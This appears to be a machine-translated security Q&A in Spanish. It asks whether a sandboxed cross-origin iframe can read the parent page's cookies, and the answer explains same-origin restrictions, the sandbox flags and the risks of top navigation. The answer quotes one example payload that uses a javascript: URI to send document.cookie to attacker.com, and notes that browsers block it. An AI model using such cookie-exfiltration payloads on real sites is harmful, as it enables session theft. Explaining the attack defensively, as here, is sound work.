¿Cómo confirmar que un iframe incrustado puede leer cookies de los padres?

1

Tengo este código html que puedo colocar en mi sitio y que estamos evaluando por motivos de seguridad. Su código es esencialmente esto:

<iframe src="https://glenpierce.github.io/"sandbox="allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>

Mi objetivo es escribir algo en glenpierce.github.io que lea las cookies del padre de ese iframe e imprímalas en la consola para demostrar que este iframe tiene acceso a las cookies del padre si estas marcas están establecidas. Hasta ahora, no he podido en Chrome 65 usando document.cookie o parent.document .

Soy consciente de que esto es inseguro y hay otras razones para no permitir estas marcas, pero estoy especialmente interesado en demostrar que tengo acceso a las cookies de los padres (y / o al almacenamiento local).

    
pregunta Glen Pierce 29.03.2018 - 02:50
fuente

1 respuesta

5

Lo primero que se debe tener en cuenta es que los iframes (de forma predeterminada) no actúan como si fueran parte del mismo origen, a menos que sean . Si el origen del iframe (en el atributo src ) y el origen del padre difieren, el iframe siempre estará aislado de la matriz. Esto impone un montón de restricciones, como al no poder acceder a la mayoría de las propiedades del objeto window.parent .

Puede hacer que un iframe del mismo origen tenga los mismos tipos de restricciones que los iframes de origen cruzado [1] utilizando el atributo sandbox . Los valores de sandbox son excepciones al atributo sandbox , no al modelo de seguridad iframe en general. Por lo tanto, allow-same-origin no hace que un iframe de origen cruzado actúe como si fuera el mismo origen que la página principal; simplemente permite que un iframe del mismo origen haga las cosas del mismo origen que podría haber hecho si no estuviera en un recinto de arena . Si el padre y el iframe son de origen cruzado, ninguna cantidad de allow-same-origin o allow-top-navigation lo solucionará.

Para los iframes que son en realidad del mismo origen y no están en un espacio aislado o tienen el valor de atributo allow-same-origin sandbox, window.parent.document.cookie le permitirá configurar o leer (no- HttpOnly ) cookies .

Un enfoque en el que podría esperar trabajar de origen cruzado es la navegación superior. Incluso los iframes de origen cruzado pueden, si no se encuentran en un espacio aislado (o si el sandbox tiene allow-top-navigation ), establecer (pero no obtener) la URL de su padre. Podría pensar que esto le permitiría hacer algo como esto: %código% Si eso tuviera éxito, ejecutaría javascript en el contexto de la página principal y filtraría las cookies de esa página (que no sean de HttpOnly).

Afortunadamente, los desarrolladores de navegadores son sabios para ese tipo de truco. Un iframe (que está permitido en la parte superior de la navegación) puede apuntar a la página principal en muchas cosas, pero un parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie" URI no es una de ellas.

Por supuesto, permitir que los iframes no confiables realicen la navegación superior sigue siendo peligroso. Es posible que no puedan aprovecharlo para inyectar scripts o robar cookies (no sin una vulnerabilidad de inyección, como un XSS), pero pueden hacer cosas como navegar por el usuario a una URL parecida que muestra el mismo contenido pero en realidad es un sitio de phishing, por ejemplo.

Por supuesto, eso no elimina las cookies, simplemente revela que son legibles, pero es una forma de explotar javascript:

[1] Y luego algunos; Las restricciones más extremas son más estrictas que las restricciones predeterminadas de origen cruzado. Esto significa que los iframes de origen cruzado de sandboxing no son necesariamente redundantes. Por ejemplo, los iframes de origen cruzado permiten de forma predeterminada la mayoría de las formas de navegación superior y secuencias de comandos que no intentan interactuar con el objeto allow-top-navigation , pero puede bloquearlas con sandboxing.

    
respondido por el CBHacking 29.03.2018 - 05:23
fuente

Lea otras preguntas en las etiquetas